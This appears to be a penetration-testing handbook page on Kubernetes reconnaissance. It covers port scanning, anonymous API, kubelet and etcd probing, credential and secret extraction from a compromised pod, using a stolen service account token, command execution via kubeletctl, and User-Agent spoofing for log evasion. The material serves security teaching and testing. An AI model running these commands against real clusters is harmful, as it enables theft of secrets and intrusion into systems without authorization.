# Reconnaissance

## Overview

Most of the time, you will not directly interact with critical Kubernetes components. Instead, you must first gain a foothold in a Kubernetes pod, which then allows access to internal Kubernetes APIs. Because these pods often host web services, obtaining an initial foothold typically relies more on traditional web application pentesting skills than on Kubernetes-specific techniques.

<figure><img src="https://329872044-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMdUKdzuqIuObdvCB3mUR%2Fuploads%2Fgit-blob-33a8f609d45e6de89e83e83835d4217a2ba595f1%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

This table sums up all the important ports to recon inside a Kubernetes cluster:

| Port            | Process        | Description                                                                         |
| --------------- | -------------- | ----------------------------------------------------------------------------------- |
| 443/TCP         | kube-apiserver | Kubernetes API port                                                                 |
| 2379/TCP        | etcd           | etcd,etcdAPI                                                                        |
| 6666/TCP        | etcd           | etcd                                                                                |
| 4194/TCP        | cAdvisor       | Container metrics                                                                   |
| 6443/TCP        | kube-apiserver | Kubernetes API port (HTTPS)                                                         |
| 8443/TCP        | kube-apiserver | Minikube API port                                                                   |
| 8080/TCP        | kube-apiserver | Insecure API port (HTTP, deprecated)                                                |
| 10250/TCP       | kubelet        | HTTPS API which allows full mode access                                             |
| 10255/TCP       | kubelet        | Unauthenticated read-only HTTP port: pods, running pods and node state (deprecated) |
| 10256/TCP       | kube-proxy     | Kube Proxy health check server                                                      |
| 9099/TCP        | calico-felix   | Health check server for Calico                                                      |
| 6782-4/TCP      | weave          | Metrics and endpoints                                                               |
| 30000-32767/TCP | NodePort       | Proxy to the services                                                               |
| 44134/TCP       | Tiller         | Helm service listening                                                              |

Several [Kubernetes Components](https://kubernetes.io/docs/concepts/overview/components/) to make note of:

* **Pod** - The smallest object of the Kubernetes ecosystem, a group of containers running together on your cluster.
* **Node** - What pods run on, each with a kubelet and kube-proxy.
* **Kubelet** - Uses the Kubernetes API server to make sure pods are running; registers and reports nodes within a cluster.
* **Kube-proxy** - A proxy that runs on each node in a cluster, maintaining and allowing network communication.
* **Cluster** - A group of nodes (made up of a control panel node and a set of worker nodes) that run containerized applications.&#x20;
* **Container** - Packages an application and dependencies in an optimized way, most often as microservices.&#x20;
* **etcd** - A distributed key-value store for managing configuration, state, and metadata.
* **Kubectl** - A [command-line tool](https://kubernetes.io/docs/tasks/tools/install-kubectl/) for communicating with a Kubernetes API server.
* **Kubernetes API Server** - Front-end for the cluster, allowing other components to interact.  Additionally, configures valid data for API objects.
* **Kube-scheduler** - Default option for scheduling pods onto nodes.&#x20;
* **Namespace** - A virtual cluster allowing for provisioning of resources and establishing scope for pods, services, and deployments using unique naming.

***

## Kubernetes Control Plane Exposure

Even though it shouldn’t be exposed to untrusted networks, some Kubernetes control planes are publicly exposed. This clearly facilitates our work because we can directly interact with the control plane API to retrieve important information.

### Network Reconnaissance

{% tabs %}
{% tab title="Nmap " %}

```bash
# Basic Kubernetes service discovery
nmap -sS -p 6443,8080,10250,10255,2379,2380 <target_range>

# Comprehensive scan with service detection
nmap -sS -sV -p 6443,8080,10250,10255,2379,2380,30000-32767 \
     --script=ssl-cert,http-title <target_range>

# Aggressive scan for detailed information
nmap -A -p 6443,8080,10250,10255,2379,2380 <target_range>

# UDP scan for potential services
nmap -sU -p 53,123,161 <target_range>
```

{% endtab %}

{% tab title="Masscan" %}

```bash
# Fast port discovery
masscan -p6443,8080,10250,10255,2379,2380 <target_range> --rate=1000

# Full NodePort range scan
masscan -p30000-32767 <target_range> --rate=500
```

{% endtab %}
{% endtabs %}

### K8S API Access

If the Control Plane is accessible the **authentication enforcement might be disabled**. A common misconfiguration in Kubernetes exposes API endpoints. By navigating to the IP address in a browser, the server may respond with a list of the API paths `https://<CONTROL_PLANE_IP>`. Thus you can try interacting with the Master API to see if you can retrieve information anonymously.

Sample curl requests to `kube-apiserver` that might reveal useful information:

```bash
# Check API Documentation
curl -k https://<CONTROL_PLANE_IP>:6443/swaggerapi

# Check API Status
curl -k https://<CONTROL_PLANE_IP>:6443/healthz

# Check API server version
curl -k https://<CONTROL_PLANE_IP>:6443/version

# Discover available API versions
curl -k https://<CONTROL_PLANE_IP>:6443/api
curl -k https://<CONTROL_PLANE_IP>:6443/apis
curl -k https://<CONTROL_PLANE_IP>:6443/api/v1

# Check for anonymous access
curl -k https://<CONTROL_PLANE_IP>:6443/api/v1/namespaces

# Comprehensive API discovery
curl -k https://<CONTROL_PLANE_IP>:6443/openapi/v2 | jq '.paths | keys[]'

# Check for metrics endpoint
curl -k https://<CONTROL_PLANE_IP>:6443/metrics
```

List of standard API endpoints:

```
/api  
/api/v1  
/apis  
/apis/admissionregistration.k8s.io  
/apis/apiextensions.k8s.io  
/apis/apiextensions.k8s.io  
/apis/apiregistration.k8s.io  
/apis/apiregistration.k8s.io/v1  
/apis/apps  
/apis/apps/v1  
/apis/authentication.k8s.io  
/apis/authentication.k8s.io/v1  
/apis/authorization.k8s.io/v1beta  
/apis/autoscaling  
/apis/autoscaling/v1  
/apis/autoscaling/v1beta  
/apis/batch  
/apis/batch/v1  
/apis/certificates.k8s.io/  
/apis/certificates.k8s.io/v1
```

Sample requests to access `etcdAPI` that might reveal useful information:

```bash
curl -k https://<CONTROL_PLANE_IP>:2379  
curl -k https://<CONTROL_PLANE_IP>:2379/version
etcdctl --endpoints=http://<CONTROL_PLANE_IP>:2379 get / --prefix --keys-only
```

### `kubelet` API Access

Access to the read-only `kubelet` port 10255 can expose cluster configuration elements, such as pod names, location of internal files, and other configurations that might be used to identify sensitive information or craft other attacks.

```bash
# Check kubelet read-only API (deprecated)
curl -k http://<target>:10255/pods

# Test kubelet API authentication
curl -k https://<target>:10250/pods

# Enumerate running pods
curl -k https://<target>:10250/runningpods/

# Check kubelet metrics
curl -k https://<target>:10250/metrics 
```

If the `kubelet` API is accessible you can use [Kubeletctl](https://github.com/cyberark/kubeletctl) to interact easily with it. Some useful `kubeletctl` commands are given [here](#automated-enumeration-tools).

### `etcd` API Access

The `etcd` API stores the entire state of the Kubernetes cluster, including secrets, configuration data, and service account information. If the `etcd` service is accessible over the network without proper authentication or encryption, it represents a critical security risk. Detecting exposed `etcd` endpoints allows us to verify service availability, enumerate cluster members, and assess health status.

**`etcd` Service Detection:**

```bash
# Check etcd accessibility
curl -k https://<target>:2379/version

# Enumerate etcd members
curl -k https://<target>:2379/v2/members

# Check etcd health
curl -k https://<target>:2379/health
```

**`etcd` Data Enumeration:**

```bash
# List all keys (if accessible)
curl -k https://<target>:2379/v2/keys/?recursive=true

# Enumerate Kubernetes secrets
curl -k https://<target>:2379/v2/keys/registry/secrets

# Check for service accounts
curl -k https://<target>:2379/v2/keys/registry/serviceaccounts
```

### Cloud Provider Discovery

{% tabs %}
{% tab title="AWS EKS" %}

```bash
# DNS enumeration for EKS clusters
dig +short <cluster-name>.<region>.eks.amazonaws.com

# S3 bucket enumeration for cluster configs
aws s3 ls s3://<bucket-name> --recursive | grep -i kube

# CloudTrail analysis for cluster activities
aws logs describe-log-groups | grep -i eks
```

{% endtab %}

{% tab title="Google GKE" %}

```bash
# GKE cluster endpoint discovery
gcloud container clusters list --project=<project-id>

# Compute instance enumeration
gcloud compute instances list --filter="name~'gke-'"
```

{% endtab %}

{% tab title="Azure AKS" %}

```bash
# AKS cluster discovery
az aks list --output table

# Resource group enumeration
az group list | grep -i aks
```

{% endtab %}
{% endtabs %}

### **SSL Certificate Inspection**

```bash
# Extract certificate information
echo | openssl s_client -connect <target>:6443 2>/dev/null | \
openssl x509 -noout -text

# Certificate Subject Alternative Names
echo | openssl s_client -connect <target>:6443 2>/dev/null | \
openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

# Certificate validity and issuer
nmap --script ssl-cert -p 6443 <target>
```

***

## Internal Enumeration (From Compromised Pod)

Once a pod is compromised, internal enumeration becomes significantly more effective. Kubernetes automatically mounts a **service account token** inside most pods, which can be used to authenticate against the Kubernetes API and enumerate cluster resources based on the assigned RBAC permissions.

However, `kubectl` is not always available inside containers, either due to minimal images or security hardening. In such cases, direct interaction with the Kubernetes API using tools like `curl` becomes essential for performing enumeration and permission discovery.

### **Container Environment Discovery**

Depending on the privileges associated with this service account token, the easiness of rooting the cluster can change.

```bash
# Check if running in Kubernetes
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

# Examine service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Check namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Examine CA certificate
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Environment variables
env
```

### **Network Environment Analysis**

Retrieving the following information will help you map the internal cluster network and facilitate the pivoting step.

```bash
# Check network interfaces
ip addr show

# Examine routing table
ip route show

# Check DNS configuration
cat /etc/resolv.conf

# Test internal DNS resolution
nslookup kubernetes.default.svc.cluster.local
```

### **Internal Service Enumeration**

```bash
# Discover services via DNS
nslookup kubernetes.default
nslookup kube-dns.kube-system

# Enumerate all services in default namespace
kubectl get services

# Discover services across all namespaces
kubectl get services --all-namespaces

# Check for exposed NodePort services
kubectl get services --all-namespaces -o wide | grep NodePort
```

**Network Scanning from Pod (requires network pivoting):**

```bash
# Scan internal cluster network
nmap -sn 10.0.0.0/8

# Scan for common Kubernetes services
nmap -p 6443,8080,10250,10255,2379,2380 10.0.0.0/8

# Scan service network range
nmap -p 80,443,8080,8443 <service_cidr>
```

### **RBAC and Permission Enumeration**

**Service Account Analysis:**

```bash
# Check current service account
kubectl auth whoami

# Test permissions with can-i
kubectl auth can-i --list

# Check specific permissions
kubectl auth can-i get pods
kubectl auth can-i create pods
kubectl auth can-i get secrets

# Enumerate cluster roles
kubectl get clusterroles

# Check role bindings
kubectl get rolebindings --all-namespaces
kubectl get clusterrolebindings
```

**Advanced Permission Discovery:**

```bash
# Use kubectl-who-can for detailed analysis
kubectl who-can get pods
kubectl who-can create pods --all-namespaces

# Check for privileged service accounts
kubectl get serviceaccounts --all-namespaces -o yaml | \
grep -A5 -B5 "automountServiceAccountToken: false"
```

### **ConfigMap Analysis**

```bash
# List all configmaps
kubectl get configmaps --all-namespaces

# Extract sensitive information from configmaps
kubectl get configmaps --all-namespaces -o yaml | grep -A20 -B5 -i "password\|token\|key\|secret"

# Check for kubeconfig in configmaps
kubectl get configmaps --all-namespaces -o yaml | grep -A10 -B5 "kubeconfig\|\.kube"
```

### Cluster Discovery

Understanding the cluster’s layout is a critical step in Kubernetes pentesting. Cluster discovery and architecture mapping involve identifying the nodes, services, and overall topology of the environment.

By mapping the cluster, we can determine which nodes host critical workloads, how network traffic flows, and where sensitive resources are located. This information is essential for planning further enumeration and potential lateral movement.

**Node Discovery**

```bash
# List all nodes
kubectl get nodes -o wide

# Get detailed node information
kubectl describe nodes

# Check node labels and taints
kubectl get nodes --show-labels
```

**Network Policy Analysis**

```bash
# Check for network policies
kubectl get networkpolicies --all-namespaces

# Analyze ingress controllers
kubectl get ingress --all-namespaces

# Check for service mesh components
kubectl get pods --all-namespaces | grep -E "(istio|linkerd|consul)"
```

**Pod Security Analysis**

```bash
# Check for privileged pods
kubectl get pods --all-namespaces -o yaml | grep -i "privileged: true"

# Find pods with host network
kubectl get pods --all-namespaces -o yaml | grep -i "hostNetwork: true"

# Check for host path mounts
kubectl get pods --all-namespaces -o yaml | grep -A5 -B5 "hostPath"
```

**RBAC Configuration Review**

```bash
# Analyze cluster admin bindings
kubectl get clusterrolebindings -o yaml | grep -A10 -B10 "cluster-admin"

# Check for wildcard permissions
kubectl get clusterroles -o yaml | grep -A5 -B5 "\*"

# Find service accounts with cluster-admin
kubectl get clusterrolebindings -o yaml | grep -A10 "cluster-admin"
```

***

## Service Account Token Usage

Once a service account token is retrieved from a compromised pod, it can be used to authenticate directly against the Kubernetes API server. This token allows interaction with all [previously described API endpoints](#kubernetes-master-exposure), with access limited only by the RBAC permissions assigned to the service account.

Even in the absence of `kubectl`, we can leverage the token to perform enumeration, query cluster resources, and retrieve sensitive information by sending authenticated HTTP requests directly to the Kubernetes API.

{% tabs %}
{% tab title="kubectl" %}

```bash
kubectl --token=$TOKEN --certificate-authority=$CERTIFICATE --server=https://<api_server>:6443
```

{% endtab %}

{% tab title="curl" %}

```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
HOST="$KUBERNETES_SERVICE_HOST" # defined in all K8S env
PORT="$KUBERNETES_SERVICE_PORT" # defined in all K8S env
CACERT="/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

# Example : retrieve secrets
curl -s --cacert "$CACERT" \
     -H "Authorization: Bearer $TOKEN" \
     -H "Accept: application/json" \
     "https://$HOST:$PORT/api/v1/namespaces/default/secrets/" | jq .
```

{% endtab %}
{% endtabs %}

***

## Automated Enumeration Tools

{% tabs %}
{% tab title="kube-hunter" %}

```bash
# External scanning
kube-hunter --remote <target_ip>

# Internal scanning from pod
kube-hunter --pod

# Network range scanning
kube-hunter --cidr <cidr_range>

# Detailed report
kube-hunter --report json --remote <target_ip>
```

{% endtab %}

{% tab title="kubeletctl" %}

```bash
# Scan for accessible kubelets
kubeletctl scan --cidr <cidr_range>

# Get pods from kubelet
kubeletctl pods -s <target_ip>

# Execute commands in containers
kubeletctl exec "id" -p <pod_name> -c <container_name> -s <target_ip>

# Scan for easy RCE
kubeletctl scan rce -s <target_ip>

# Scan for Service Account Token
kubeletctl scan token -s <target_ip>
```

{% endtab %}

{% tab title="Stolen Token Enum" %}

```bash
# Set up kubectl with stolen token
export KUBECONFIG=/tmp/stolen-config
kubectl config set-cluster target --server=https://<api_server>:6443 --insecure-skip-tls-verify
kubectl config set-credentials attacker --token=<stolen_token>
kubectl config set-context attack --cluster=target --user=infiltr8
kubectl config use-context attack

# Enumerate with stolen credentials
kubectl get nodes
```

{% endtab %}
{% endtabs %}

***

## Detection Evasion Techniques

During reconnaissance, simple traffic obfuscation techniques can be used to blend API requests with legitimate Kubernetes activity. One common approach is to modify the HTTP `User-Agent` header to mimic standard Kubernetes clients, such as `kubectl`.

While this does not bypass authentication or authorization controls, it can reduce suspicion in logs and make reconnaissance traffic less distinguishable from normal cluster operations.

```bash
# Use different user agents
curl -k -H "User-Agent: kubectl/v1.20.0" https://<target>:6443/
```

***

## Resources

{% embed url="<https://kubernetes.io/fr/docs/reference/kubectl/>" %}

{% embed url="<https://github.com/cyberark/kubeletctl>" %}

{% embed url="<https://github.com/aquasecurity/kube-hunter>" %}

{% embed url="<https://trustedsec.com/blog/kubernetes-for-pentesters-part-1>" %}
